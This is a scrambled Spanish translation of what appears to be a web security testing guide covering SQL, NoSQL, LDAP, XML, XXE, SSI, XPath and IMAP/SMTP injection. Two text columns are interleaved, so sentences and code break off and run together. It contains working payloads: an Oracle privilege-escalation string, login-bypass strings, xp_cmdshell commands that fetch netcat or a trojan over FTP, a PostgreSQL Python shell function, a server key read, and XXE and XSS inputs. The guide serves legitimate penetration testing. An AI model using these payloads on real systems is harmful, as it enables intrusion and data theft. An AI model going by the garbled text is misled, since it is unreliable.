=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20 Si esta solicitud devuelve libros escritos por Charles Dickens, pero
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDE http://www.example.com/pls/bookstore/books.search?author=DICK’E
X_TABLES NS
(‘INDEX_NAME’,’INDEX_SCHEMA’,’DBMS_OUTPUT.PUT_LIN
E(:p1);
devuelve un error o un 404, entonces puede haber una falla de inyección SQL.
EXECUTE%20IMMEDIATE%20’’CREATE%20OR%20REPLACE Esto puede confirmarse utilizando el operador de concatenación:
%20
http://www.example.com/pls/bookstore/books.search?author=DICK’||’
ENS
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA
_UTIL’’;
END;--’,’SYS’,1,’VER’,0);END;
Herramientas
• SQLInjector: databasesecurity.com
Evalúe las aplicaciones web PL/SQL personalizadas
• Orascan (Oracle Web Application VA scanner), NGS SQuirreL
Durante las evaluaciones de seguridad de Caja Negra, el código de la
aplicación PL/SQL personalizada no está disponible, pero debe ser
(Oracle RDBMS VA Scanner): nccgroup.com
evaluada en busca de vulnerabilidades de seguridad.
Referencias
Pruebe la inyección de SQL
Libros Blancos
• Hackproofing Oracle Application Server (A Guide to Securing Cabe señalar que en las versiones de MySQL anteriores a 4.0.x, solo los
ataques de inyección ciega booleanos o basados en el tiempo podrían ser
Oracle 9): blackhat.com utilizados, puesto que la funcionalidad de subconsulta de instrucciones
UNION no estaba implementada.
• Oracle PL/SQL Injection: blackhat.com
Cómo probar
• From Version 5.0: Stored procedures, Stored functions and the view named
INFORMATION_SCHEMA
En MySQL, existe una forma estándar para evitar la necesidad de comillas
simples: tener una cadena constante que declarar sin la necesidad de
• From Version 5.0.2: Triggers
comillas simples.
En inyección de banda:
Resultado esperado:
Ejemplo:
Una cadena como esta:
1 /*! and 1=0 */
5.0.22-log
Resultado esperado:
Registro de usuario
Si MySQL está presente, se interpretará la cláusula dentro del bloque de
comentario.
Hay dos tipos de usuarios en los que el servidor MySQL se apoya:
Hay ciertas diferencias entre 1 y 2. La principal es que un usuario anónimo Resultado esperado:
podría conectarse (si se le permite) con cualquier nombre, pero el usuario
interno de MySQL es un nombre vacío (''). Otra diferencia es que un Una cadena como esta:
procedimiento almacenado o una función almacenada se ejecuta como el
usuario creador, si no se declara en otro sitio. Esto puede conocerse mediante dbname
el uso de CURRENT_USER.
Inyección inferencial:
Aquí hay un resumen de algunas vistas interesantes.
Resultado esperado:
user@hostname
Vectores de ataque
Si el usuario conectado tiene privilegios en FILE y las comillas simples no se archivos. Las comillas simples pueden escapar de la desinfección utilizando
escapan, la cláusula 'into outfile' se puede utilizar para exportar los resultados técnicas previamente descritas.
de la consulta en un archivo.
load_file(‘filename’)
Select * from table into outfile ‘/tmp/file’
Resultado esperado:
Nota: no hay ninguna forma de eludir las comillas simples alrededor de un
nombre de archivo. Todo el archivo estará disponible para la exportación mediante el uso de
técnicas estándar.
Así que si hay algún tipo de desinfección sobre las comillas simples como
escape (\'), no habrá ninguna manera de utilizar la cláusula 'into outfile'. Ataque de inyección SQL estandar
Ejemplo:
Resultado esperado:
Inyección SQL fuera de banda
Los resultados se guardan en un archivo con privilegios rw-rw-rw que son
propiedad del usuario y del grupo MySQL. La inyección fuera de banda podría lograrse mediante el uso de la
cláusula 'into outfile'.
LENGTH(str)
Load_file es una función nativa que puede leer un archivo cuando es SUBSTRING(string, offset, #chars_returned)
autorizado por los permisos del sistema de archivo. Si el usuario conectado
tiene privilegios FILE, podría utilizarlos para obtener el contenido de los • Inyección ciega basada en el tiempo: BENCHMARK y SLEEP
• Reversing.org: packetstormsecurity.org
• Los parámetros de aplicación en las cadenas de consulta (por ejemplo,
• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: solicitud GET)
sqlmap.org • Los parámetros de aplicación incluidos como parte del cuerpo de una
solicitud POST
• Muhaimin Dzulfakar: MySqloit, MySql Injection takeover too:
• Información relacionada con el navegador (por ejemplo, agente usuario,
code.google.com referido)
• sqlsus.sourceforge.net • Información relacionada con el host (por ejemplo, nombre de host, IP)
Libros Blancos
Microsoft SQL server tiene unas características únicas, por lo que algunas
• Chris Anley: “Hackproofing MyS L”: nccgroup.com explotaciones necesitan ser especialmente modificadas para esta
aplicación.
Casos de Estudio
Cómo probar
• Zeelock: Blind Injection in MySQL Databases:
Características del ServidorSQL
http://archive.cert.uni-stuttgart.de
Para empezar, veamos algunos procedimientos de los operadores y
comandos o procedimientos almacenados del SQL Server que son útiles
en la prueba de inyección de SQL:
Pruebas del servidor SQL (SQL Server)
Resumen
[1] operador de comentarios: -
- [sp_makewebtask] Crea un shell de comandos de Windows y pasa una Note el uso de [convert]:
cadena para su ejecución. Cualquier resultado se devuelve como filas de
texto. Esto requiere los privilegios sysadmin (administrador del sistema).
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
- [xp_sendmail] Envía un mensaje de correo electrónico, que puede incluir
un grupo de resultados de consultas adjunto a los destinatarios
especificados. Este procedimiento de almacenamiento extendido utiliza
SQL Mail para enviar el mensaje.
Alternativamente, podemos usar sp_makewebtask: Y aquí está el mismo ataque, pero usando otra vez el truco de conversión:
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-
Un ejemplo de POST completo:
06,1,’stat’,’name1’,’name2’,2006-01-06,1,@@version%20--
Host: vulnerable.web.app
Keep-Alive: 300
El más simple (y a veces más gratificante) caso sería el de una página de Referer: http://vulnerable.web.app/forgotpass.asp
inicio de sesión que solicita un nombre de usuario y contraseña pare el
inicio de sesión del usuario. Usted puede intentar ingresar la siguiente Content-Type: application/x-www-form-urlencoded
cadena "' o '1' ='1" (sin comillas):
Content-Length: 50
https://vulnerable.web.app/login.asp?Username=’%20or%20’1’=’1&P email=%27&whichSubmit=submit&submit.x=0&submit.y=0
assword=’%20or%20’1’=’1
• Si el código anterior no funciona, significa que el xp_log70.dll ha sido Este código escrito por Antonin Foller (ver enlaces en la parte inferior de
movido o eliminado. En este caso tenemos que inyectar el siguiente código: la página), crea un nuevo xp_cmdshell usando sp_oacreate, sp_oamethod
y sp_oadestroy (siempre que no hayan sido desactivados también, por
supuesto). Antes de usarla, necesitamos eliminar el primer xp_cmdshell
que creamos (incluso si no estaba trabajando), de lo contrario, chocarán
las dos declaraciones.
reconfigure
master..sp_configure ‘xp_cmdshell’,1
reconfigure
Permite la ejecución de código SQL arbitrario. Lo mismo sucede con el Tenga en cuenta que OPENROWSET está habilitado de forma
encabezado User-Agent configurado como: predeterminada en SQL Server 2000 pero deshabilitado en SQL Server
2005.
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’
Una vez que podemos utilizar xp_cmdshell (ya sea el nativo o uno
personalizado), fácilmente podemos subir archivos ejecutables en el
Ejemplo 7: SQL Server como un escáner de puertos servidor de base de datos de destino. Una opción muy común es
netcat.exe, pero cualquier troyano será útil aquí. Si el objetivo es iniciar
En el SQL Server, uno de los comandos más útiles (al menos para el las conexiones FTP en la máquina del evaluador, todo lo que se necesita
evaluador de penetración) es OPENROWSET, que se utiliza para ejecutar es inyectar las siguientes consultas:
una consulta en otro servidor de base de datos y recuperar los resultados.
El evaluador de penetración puede utilizar este comando para escanear En este punto, nc.exe estará cargado y disponible.
puertos de otras máquinas en la red objetivo, al inyectar la siguiente
consulta: exec master..xp_cmdshell ‘echo open ftp.tester.org > ftpscript.txt’;--
Esta consulta intentará una conexión a la dirección x.y.w.z en el puerto p. exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--
Si el puerto está cerrado, se devolverá el siguiente mensaje:
exec master..xp_cmdshell ‘echo [debug script line #2 of n] >> select * from books where title=text entered by the user
debugscript.txt’;--
....
Obtener información cuando no es visible (fuera de banda) • En algunos casos la aplicación web (realmente el servidor web) podría
devolver el tradicional 500: Internal Server Error, cuando la aplicación
No todo está perdido cuando la aplicación web no devuelve ninguna devuelve una excepción que puede generarse, por ejemplo, por una
información, como mensajes de error descriptivos (cf. Inyección ciega de consulta con comillas no cerradas.
SQL). Por ejemplo, puede ocurrir que uno tenga acceso al código fuente
(por ejemplo, porque la aplicación web se basa en un software de código • Mientras que en otros casos el servidor devolverá un mensaje 200 OK, la
abierto). Entonces, el evaluador de edición puede explotar todas las aplicación web devolverá un mensaje de error insertado por los
vulnerabilidades de inyección SQL descubiertas fuera de línea en la desarrolladores, por ejemplo Internal server error o bad data.
aplicación web. Aunque un IPS puede detener algunos de estos ataques, la
mejor manera sería proceder así: desarrolle y pruebe los ataques en un
banco de pruebas creado para ello, y luego ejecute estos ataques contra la
aplicación web que se está probando. Esta escasa información sería suficiente para entender cómo se construye
la consulta SQL dinámica mediante la aplicación web y tunear una
explotación. Otro método de fuera de banda es generar los resultados a
través de archivos navegables HTTP.
Otras opciones para los ataques fuera de banda se describen en el
ejemplo 4 anterior.
Ataques temporizados
Ataques de inyección ciega de SQL Hay una posibilidad más para hacer una inyección ciega de SQL cuando
no hay reacción visible de la aplicación: midiendo el tiempo que tarda la
Prueba y error aplicación web para responder a una solicitud. Un ataque de este tipo lo
describe Anley en ([2]) de donde tomamos los siguientes ejemplos. Un
Alternativamente, uno puede jugar a la suerte. El atacante puede asumir enfoque típico utiliza el comando de retraso waitfor: si el atacante quiere
que existe una vulnerabilidad de inyección ciega de SQL o fuera de banda comprobar si existe la base de datos 'pubs', simplemente inyectará el
en la aplicación web. Luego selecciona un vector de ataque (por ejemplo, siguiente comando:
una entrada de la web), utiliza vectores de fuzz (1) contra este canal y
select @i = @i + 1
end
Dependiendo del tiempo que le lleva a la consulta responder, sabremos la
respuesta. De hecho, lo que tenemos aquí son dos cosas: una
vulnerabilidad de inyección SQL y un canal encubierto que permite al
evaluador de penetración conseguir un bit de información de cada Compruebe la versión y las vulnerabilidades
consulta. Por lo tanto, usando varias consultas (cuantas consultas como
bits de información se requieran) el evaluador de edición puede obtener El mismo enfoque de temporización puede utilizarse también para
cualquier información que está en esta base de datos. Mire la siguiente entender de qué versión de SQL Server se trata. Por supuesto
consulta: aprovechamos la variable de @@version incorporada. Considere la
siguiente consulta:
declare @s varchar(8000)
select @@version
declare @i int
select @s = db_name()
Esta consulta esperará cinco segundos si bit '@bit' de byte '@byte' del
nombre de la base de datos actual es 1 y volverá inmediatamente si es 0. Dicha consulta esperará cinco segundos si el carácter número 25 de la variable
Anidando dos ciclos (uno para @byte y otro para @bit) seremos capaces @@version es '5', enseñándonos que estamos tratando con un SQL Server 2005.
de extraer toda la pieza de información. Si la consulta regresa inmediatamente, es probable que estemos tratando con
SQL Server 2000, y otra consulta similar ayudará a despejar todas las dudas.
tool: sqlmap.org
Libros Blancos
- LENGTH(str)
De ahora en adelante se supone que http://www.example.com/news.php?id=1
es vulnerable a ataques de inyección SQL. • Extraer una subcadena desde una cadena dada
- SUBSTR(str,index,offset)
Ejemplos:
Además, la función version() puede utilizarse para atrapar el banner de Adicionalmente, usted puede fácilmente crear una pg_sleep(n) personalizada
PostgreSQL. Esto también mostrará el tipo de sistema operativo en las versiones previas usando libc:
subyacente y la versión.
Ejemplo: Las cadenas pueden codificarse para prevenir la fuga de comillas simples,
usando la función chr().
Inyección ciega
Para los ataques de inyección ciega de SQL, debe tomar en consideración las
siguientes funciones incorporadas:
111
select ascii(‘t’)
116
Base de datos actual
chr(114)||chr(111)||chr(111)||chr(116)
Ejemplo:
Vectores de Ataque
La identidad del usuario actual se puede recuperar con las siguientes • función interna pg_read_file() (desde PostgreSQL 8.1)
instrucciones SQL SELECT:
SELECT user
SELECT current_user
COPY:
SELECT session_user
Este operador copia datos entre un archivo y una tabla. El motor PostgreSQL
accede al sistema de archivos local como un usuario postgres.
SELECT usename FROM pg_user
SELECT getpgusername()
Ejemplo
Ejemplos:
• SELECT pg_read_file(‘server.key’,0,1000);
• SELECT system_out FROM stdout • CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read() ‘LANGUAGE plpythonu
Ejemplo:
[4] Diviertase con:
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- • SELECT proxyshell(os command);
/store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/test’ -- • /store.php?id=1 UNION ALL SELECT NULL, proxyshell(‘whoami’),
NULL OFFSET 1;--
• SELECT count(*) FROM pg_language WHERE lanname=’plpythonu’ [2] Si no, asumiendo que sysadm ha instalado el paquete plperl, intente:
• CREATE LANGUAGE plpythonu [3] Si cualquiera de las anteriores tuvo éxito, cree una función de proxy shell:
[4] Diviértase con: ejemplo, una cita, comilla doble, ...) para activar las excepciones de la base
de datos. Suponiendo que la aplicación no maneja excepciones con
• SELECT proxyshell(os command); páginas personalizadas, es posible marcar con huellas digitales, la DBMS
subrayada mediante la observación de los mensajes de error.
Ejemplo:
Dependiendo de la tecnología web específica utilizada, las aplicaciones
[1] Cree una función proxy shell: dirigidas por MS Access responderán con uno de los siguientes errores:
• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool -
http://sqlmap.sourceforge.net Microsoft Office Access Database Engine
• No comments characters
Como probar
• No stacked queries
Marque con huellas digitales
• No LIMIT operator
Dejar huellas digitales en la tecnología específica de la base de datos
• No SLEEP or BENCHMARK alike operators
mientras se prueba la aplicación de SQL es el primer paso para evaluar
correctamente los posibles puntos vulnerables. Un método común
• and many others
implica inyectar patrones de ataque de inyección de SQL estándar (por
http://www.example.com/page.app?user=admin’%16&pass=foo
Enumeración de atributos
‘ GROUP BY Id%00
http://www.example.com/page.app?id=2’+UNION+SELECT+TOP+3
+name+FROM+appsTable%00
Obtención del esquema de base de datos últimas versiones de MS Access, tampoco es posible ejecutar comandos
de shell o archivos arbitrarios de leer/escribir.
Existen varias tablas por defecto del sistema en MS Access que pueden
utilizarse potencialmente para obtener nombres de tablas y columnas.
Por desgracia, en la configuración predeterminada de versiones recientes
de bases de datos de MS Access, estas tablas no son accesibles. Sin En el caso de las inyecciones ciegas de SQL, el atacante puede deducir el
embargo, siempre vale la pena probar: resultado de la consulta únicamente mediante la evaluación de las
diferencias de tiempo o las respuestas de la aplicación. Se supone que el
lector ya sabe la teoría detrás de los ataques de inyección ciega de SQL, ya
que la parte restante de esta sección se centrará en detalles específicos de
• MSysObjects MS Access.
• MSysACEs
http://www.example.com/index.php?myId=[sql]
Por ejemplo, si existe una vulnerabilidad de inyección union de SQL, puede usar la
siguiente consulta:
http://www.example.com/index.php?id=IIF((select%20MID(LAST(us
ername),1,1)%20from%20(select%20TOP%2010%20username%20fr
om%20users))=’a’,0,’no’)
Mediante la combinación de las funciones IFF, MID, LAST y TOP, es [1] Probar todos los valores imprimibles, hasta que encontramos una
posible extraer el primer carácter del nombre de usuario en una fila coincidencia.
seleccionada específicamente. Como la consulta interna devuelve un
conjunto de registros y no sólo uno, no es posible utilizarlo directamente. [2] Deducir la longitud de la cadena utilizando la función LEN o
Afortunadamente, podemos combinar varias funciones para extraer una simplemente parando después de que hemos encontrado todos los
cadena específica. caracteres.
• http://packetstormsecurity.com/files/65967/Access-Through-
Access.pdf.html
Luego, utilizando este subconjunto, podemos extraer la última fila con la • http://seclists.org/pen-test/2003/May/74
función LAST. Una vez que tenemos sólo una fila y exactamente la fila que
contiene la cadena, podemos utilizar las funciones IFF, MID y LAST para • http://www.techonthenet.com/access/functions/index_
inferir el valor real del nombre de usuario. En nuestro ejemplo,
alpha.php
empleamos IFF para devolver un número o una cadena. Con este truco,
podemos distinguir si tenemos una respuesta verdadera o no, observando
• http://en.wikipedia.org/wiki/Microsoft_Access
las respuestas de error de la aplicación. Como la identificación es
numérica, puede compararse con una cadena de resultados en un error
SQL que puede ser potencialmente filtrado por páginas 500 de Error
interno del servidor. De lo contrario, probablemente se devolverá una Pruebas de inyección NoSQL
página 200 OK estándar.
Resumen
Hoy encontramos más de 150 bases de datos NoSQL disponibles[3] para Opcionalmente, JavaScript tambien se evalúa para permitir condiciones más
usarlas dentro de una aplicación, y que proporcionan API en una variedad avanzadas.
de lenguajes y modelos de relación. Cada una ofrece diferentes
características y restricciones. Ya que no hay un lenguaje común entre
ellas, una inyección de código de ejemplo no aplica a través de las bases db.myCollection.find( { $where: function() { return obj.credits -
obj.debits < 0; } } );
de datos NoSQL. Por esta razón, cualquier persona que va a probar los
ataques de inyección de NoSQL tendrá que familiarizarse con la sintaxis,
modelo de datos y lenguaje de programación relacionada para poder
elaborar pruebas específicas.
Ejemplo 1
Los ataques de inyección de NoSQL pueden ejecutarse en diferentes áreas
de una aplicación que la inyección de SQL tradicional. Mientras la Si un atacante es capaz de manipular los datos entregados en el operador
inyección SQL se ejecutaría dentro del motor de la base de datos, las $where, ese atacante podría incluir JavaScript arbitrario para que sea
variantes NoSQL pueden ejecutarse dentro de la capa de aplicación o la evaluado como parte de la consulta de MongoDB. Un ejemplo de una
capa de base de datos, dependiendo de la API de NoSQL y el modelo de vulnerabilidad se expone en el siguiente código, si el ingreso del usuario
datos usado. Por lo general, los ataques de inyección de NoSQL se se pasa directamente a la consulta de MongoDB sin desinfección.
ejecutarán donde la cadena de ataque es analizada, evaluada o
concatenada con una comunicación a la API de NoSQL.
b.myCollection.find( { active: true, $where: function() { return
obj.credits - obj.debits < $userInput; } } );;
Cómo probar
Para probar las vulnerabilidades de inyección de NoSQL en MongoDB: Por ejemplo, en MongoDB, si se pasa una cadena que contiene cualquiera
de los siguientes caracteres especiales sin desinfectar, desencadenaría un
El API de MongoDB espera comunicaciones BSON (Binary JSON) e incluye error de base de datos.
una herramienta para ensamblar consultas BSON seguras. Sin embargo,
según la documentación de MongoDB - expresiones no seriales de JSON y ‘“ \;{}
JavaScript se permiten en varios parámetros de una consulta
alternativa.[4] La comunicación API más utilizada que permite ingresos
de JavaScript arbitrarios es el operador $where.
Referencias
Por ejemplo, en MongoDB, la sintaxis $where es un operador de consulta
reservado. Tiene que ser enviado dentro de la consulta exactamente Libros Blancos
como se muestra; cualquier alteración causaría un error de base de datos.
• Bryan Sullivan from Adobe: “Server-Side JavaScript Injection”:
media.blackhat.com
Sin embargo, como $where también es un nombre válido de variable de • Bryan Sullivan from Adobe: “NoS L, But Even Less Security”:
PHP, es posible para un atacante insertar un código en la consulta blogs.adobe.com
mediante la creación de una variable PHP llamada $where. La
documentación de PHP MongoDB explícitamente advierte a los • Erlend from Bekk Consulting: “[Security] NOS L-injection”:
desarrolladores: erlend.oftedal.no
Resumen
Una aplicación web podría utilizar LDAP para permitir a los usuarios
autenticarse o buscar información de otros usuarios dentro de una
estructura corporativa. El objetivo de los ataques de inyección LDAP es
inyectar meta caracteres de filtros de búsqueda LDAP en consultas que
serán ejecutadas por la aplicación.
Cómo probar
Las condiciones booleanas y agregaciones de grupo en un filtro de
búsqueda LDAP pueden aplicarse utilizando los siguientes Ejemplo 1: Filtros de búsqueda
metacaracteres:
Supongamos que tenemos una aplicación web que utiliza un filtro de
búsqueda como el siguiente:
searchfilter=”(cn=”+user+”)”
pass=password
http://www.example.com/ldapsearch?user=*
searchfilter=”(cn=*)” X03MO1qnZdYdgyfeuILPmQ==))”;
Herramientas
Si la aplicación es vulnerable a una inyección LDAP, se mostrarán algunos
o todos los atributos de los usuarios, dependiendo del flujo de ejecución
• Softerra LDAP Browser: dapadministrator.com
de la aplicación y los permisos del LDAP del usuario conectado.
Referencias
Un evaluador podría utilizar un enfoque de prueba y error, introduciendo
en el parámetro '(', '|', '&', ' *' y los otros caracteres, con el fin de verificar
Libros Blancos
los errores de la aplicación.
• Sacha Faust: “LDAP Injection: Are Your Applications Vulnerable?”:
networkdls.com
Si una aplicación web utiliza LDAP para comprobar las credenciales de • IBM paper: “Understanding LDAP”: redbooks.ibm.com
usuario durante el proceso de inicio de sesión y es vulnerable a una
inyección LDAP, es posible evitar la comprobación de autenticación • RFC 1960: “A String Representation of LDAP Search Filters”: ietf.org
mediante la inyección de una consulta LDAP que siempre es verdadera
(de una manera similar a la inyección SQL y XPATH).
Supongamos que una aplicación web utiliza un filtro para emparejar la Resumen
combinación LDAP de usuario/contraseña.
La inyección de ORM es un ataque de inyección SQL contra un modelo de Pruebas de Caja Gris
objetos de acceso de datos generado mediante ORM. Desde el punto de vista
del evaluador, este ataque es virtualmente idéntico a un ataque de inyección Si el evaluador tiene acceso al código fuente de una aplicación web, o
SQL. Sin embargo, la vulnerabilidad de inyección existe en el código puede descubrir las vulnerabilidades de una herramienta ORM y prueba
generado por la herramienta ORM. aplicaciones que utiliza esta herramienta web, hay una mayor
probabilidad de atacar con éxito a la aplicación.
• NHibernate http://nhforge.org/
Cómo probar
Resumen
La prueba de inyección XML se da cuando un evaluador intenta inyectar Cuando un usuario llena un formulario HTML para registrarse, la aplicación
un documento XML a la aplicación. Si el analizador XML falla en la recibe los datos del usuario en una petición estándar, que, por simplicidad, se
validación de datos dentro de su contexto, la prueba dará un resultado supone será enviada en una petición GET.
positivo.
Cómo probar
producirán la solicitud:
Supongamos que hay una aplicación web que utiliza una comunicación de
estilo XML para llevar a cabo el registro del usuario. Esto se hace creando
http://www.example.com/addUser.php?username=tony&password=U
y añadiendo un nuevo nodo de <user> en un archivo xmlDb.
n6R34kb!e&email=s4tan@hell.com
<users>
<user>
<user>
<username>tony</username>
<username>gandalf</username>
<password>Un6R34kb!e</password>
<password>!c3</password>
<userid>500</userid>
<userid>0</userid>
<mail>s4tan@hell.com</mail>
<mail>gandalf@middleearth.com</mail>
</user>
</user>
<user>
que será añadido al xmlDB:
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>gandalf</username>
<userid>0</userid>
inputValue = foo’
<mail>gandalf@middleearth.com</mail>
</user>
<user>
se crea una instancia y luego se inserta como el valor de attrib:
<username>Stefan0</username>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
Entonces, el documento XML resultante no está redactado correctamente.
<user>
<username>tony</username>
• Comilla Doble (Double quote): “ - este carácter tiene el mismo significado
que la comilla simple y puede utilizarse si el valor del atributo está encerrado
<password>Un6R34kb!e</password>
entre comillas dobles.
<userid>500</userid>
<node attrib=”$inputValue”/>
Descubrimiento
El primer paso para probar una aplicación en busca de una vulnerabilidad de Así que:
inyección XML consiste en intentar insertar metacaracteres XML.
$inputValue = foo”
la sustitución da:
<mail>s4tan@hell.com</mail>
</user>
<username>foo<</username>
<mail>s4tan@hell.com</mail>
<tagnode><</tagnode>
<username>&foo</username>
<password>Un6R34kb!e</password>
<mail>s4tan@hell.com</mail>
<username><![CDATA[]]>]]></username>
</user>
<node>
<html>
<![CDATA[<foo>]]>
$HTMLCode
</node>
</html>
así ‘<foo>’ no será analizado como una marca y será considerado como un
carácter de datos. Entonces el atacante puede proporcionar el siguiente ingreso:
$HTMLCode =
Si el nodo se construye de la siguiente manera: <![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/scr
ipt<![CDATA[>]]>
<username><![CDATA[<$userName]]></username>
El evaluador puede intentar inyectar una cadena de cierre CDATA ‘]]>’ para
tratar de invalidar el documento XML.
</html>
Otras pruebas útiles son las siguientes:
<!DOCTYPE foo [
Durante el proceso, la sección de delimitadores CDATA es eliminada
generando el siguiente código HTML: <!ELEMENT foo ANY >
<!DOCTYPE foo [
El resultado es que la aplicación es vulnerable al XSS.
<!ELEMENT foo ANY >
Para probar las vulnerabilidades XXE, uno puede utilizar el siguiente <!DOCTYPE foo [
ingreso:
<!ELEMENT foo ANY >
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM “file:///dev/random” Una vez que se logra el primer paso, el evaluador tendrá alguna
>]><foo>&xxe;</foo> información sobre la estructura del documento XML. Entonces, es posible
intentar inyectar datos XML y etiquetas. Mostraremos un ejemplo de
cómo esto puede llevar a un ataque de escalada de privilegios.
la aplicación construirá un nuevo nodo y anexo a la base de datos XML. <!DOCTYPE users [
</user>
<user>
<username>Stefan0</username>
Tome en cuenta que el nodo de nombre de usuario se define con la
<password>w1s3c</password> cardinalidad 1. En este caso, el ataque que hemos mostrado antes (y otros
ataques simples) no funcionarán si el documento XML se valida contra su
<userid>500</userid> DTD antes de que ocurra cualquier procesamiento.
<mail>Stefan0@whysec.hmm</mail>
</user> Sin embargo, este problema puede ser resuelto si el evaluador controla el
valor de algunos nodos anteriores el nodo ofensivo (el identificador de
<user> usuario, en este ejemplo). De hecho, el evaluador puede comentar en
dichos nodos, mediante la inyección de una secuencia de inicio y fin de
<username>tony</username> comentario:
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail><userid>0</userid><mail>s
Username: tony
Se comentó en el nodo de nombre de usuario original, dejando sólo el que
Password: Un6R34kb!e</password><!--
fue inyectado. Ahora, el documento cumple con las reglas de su DTD.
E-mail: --><userid>0</userid><mail>s4tan@hell.com
Herramientas
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
En este caso la base de datos XML final es:
<mail>gandalf@middleearth.com</mail>
Pruebas de inyección de SSI (OTG-INPVAL-009)
</user>
Resumen
<user>
Los servidores web suelen dar a los desarrolladores la posibilidad de
<username>Stefan0</username> añadir pequeñas piezas de código dinámico dentro de páginas HTML
estáticas, sin tener que lidiar con todos los derechos de los lenguajes del
<password>w1s3c</password> servidor o del cliente. Esta característica es encarnada cuando el servidor
incluye (SSI). En la prueba de inyección SSI, probamos si es posible
<userid>500</userid> inyectar en los datos de la aplicación que serán interpretados por
mecanismos del SSI. Una explotación exitosa de esta vulnerabilidad
<mail>Stefan0@whysec.hmm</mail>
permite a un atacante inyectar código en páginas HTML o incluso realizar
ejecución remota de códigos.
</user>
<user>
Server-Side Includes son directivas que el servidor web analiza antes de
<username>tony</username>
servir la página al usuario. Representan una alternativa para escribir
programas CGI o incrustar código utilizando lenguajes de scripting del
<password>Un6R34kb!e</password><!--
</password> lado del servidor, cuando sólo hay que realizar tareas muy simples. Las
implementaciones comunes de SSI proporcionan comandos para incluir
<userid>500</userid> archivos externos, configurar e imprimir las variables del entorno CGI del
servidor web y ejecutar scripts CGI externos o comandos del sistema.
<mail>--
><userid>0</userid><mail>s4tan@hell.com</mail>
</user> Poner una directiva SSI en un documento HTML estático es tan fácil como
escribir un pedazo de código como el siguiente:
Esto es similar a las pruebas de vulnerabilidad XSS utilizando Al dar estos pasos se trata, más que nada, de utilizar grep para encontrar
las palabras clave correctas dentro del código fuente (directivas SSI,
variables del entorno CGI, asignación de variables que implican ingreso
de datos del usuario, las funciones de filtro y demás).
<script>alert(“XSS”)</script>
Herramientas
Libros Blancos
GET / HTTP/1.0
• Apache Tutorial: “Introduction to Server Side Includes”: apache.org
Resumen
<?xml version=”1.0” encoding=”ISO-8859-1”?>
XPath es un lenguaje que ha sido diseñado y desarrollado, sobre todo,
<users>
para dirigirse a las piezas de un documento XML. En la prueba de
inyección XPath, probamos si es posible inyectar la sintaxis de XPath en
<user>
una solicitud interpretada por la aplicación, permitiendo a un atacante
ejecutar consultas XPath controladas por el usuario. Cuando se explota
<username>gandalf</username>
con éxito, esta vulnerabilidad podría permitir a un atacante eludir
mecanismos de autenticación o información sin la debida autorización. <password>!c3</password>
<account>admin</account>
<account>guest</account>
Tal como las bases de datos relacionales se acceden a través del lenguaje
SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta </user>
estándar.
<user>
<username>tony</username>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL
en sus propósitos y usos, un resultado interesante es que los ataques de <password>Un6R34kb!e</password>
inyección XPath siguen la misma lógica que los ataques de inyección SQL.
En algunos aspectos, XPath es incluso más poderoso que el SQL estándar,
ya que todo su poder está ya presente en sus especificaciones, mientras
que un gran número de técnicas que pueden utilizarse en un ataque de
inyección SQL depende de las características del dialecto SQL usado por Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la
la base de datos de destino. contraseña es "! c3" sería la siguiente:
string(//user[username/text()=’gandalf’ and
Esto significa que los ataques de inyección XPath pueden ser mucho más password/text()=’!c3’]/account/text())
adaptables y ubicuos. Otra de las ventajas de un ataque de inyección
XPath es que, a diferencia del SQL, no se aplica ningún ACL ya que nuestra
consulta puede acceder a todas las partes del documento XML.
Se ve bastante familiar, ¿no? Utilizando estos parámetros, la consulta se La técnica de inyección IMAP/SMTP es más eficaz si el servidor de correo
convierte en: no es directamente accesible desde el Internet. Donde una comunicación
completa con el servidor de correo de acceso restringido sea posible, se
recomienda realizar pruebas directas.
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/text()=’’ or
‘1’ = ‘1’]/account/text())
Referencias
Libros Blancos
Resumen
Esta amenaza afecta a todas las aplicaciones que se comunican con La figura 1 muestra el flujo de tráfico visto generalmente al utilizar
servidores de correo (IMAP/SMTP), generalmente aplicaciones de tecnologías de webmail. Los pasos 1 y 2 son el usuario interactuando con el
webmail. El objetivo de esta prueba es verificar la capacidad de inyectar cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al
comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a cliente webmail e interactuando directamente con los servidores de correo de
que el ingreso de datos no está correctamente desinfectado. acceso restringido (back-end).
• Fugas de información
• Relevo/SPAM
Los parámetros especiales de IMAP que se deben utilizar son: • Añada caracteres especiales no éstandar (i.e.: \, ‘, “, @, #, !, |):
http://<webmail>/src/read_body.php?mailbox=INBOX”&passed_id=4
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed
6106&startMessage=1
_id=46105&passed_ent_id=0
• Elimine el parámetro:
S1 - La aplicación devuelve un código/mensaje de error. La situación S2 es más difícil de probar con éxito. El probador debe usar
inyección ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicación no devuelve un código/mensaje de error, pero no
realiza la operación solicitada.
S3 - La aplicación no devuelve un código/mensaje de error, y realiza la Por otro lado, la última situación (S3) no es relevante en esta sección.
operación solicitada normalmente.
Resultado esperado:
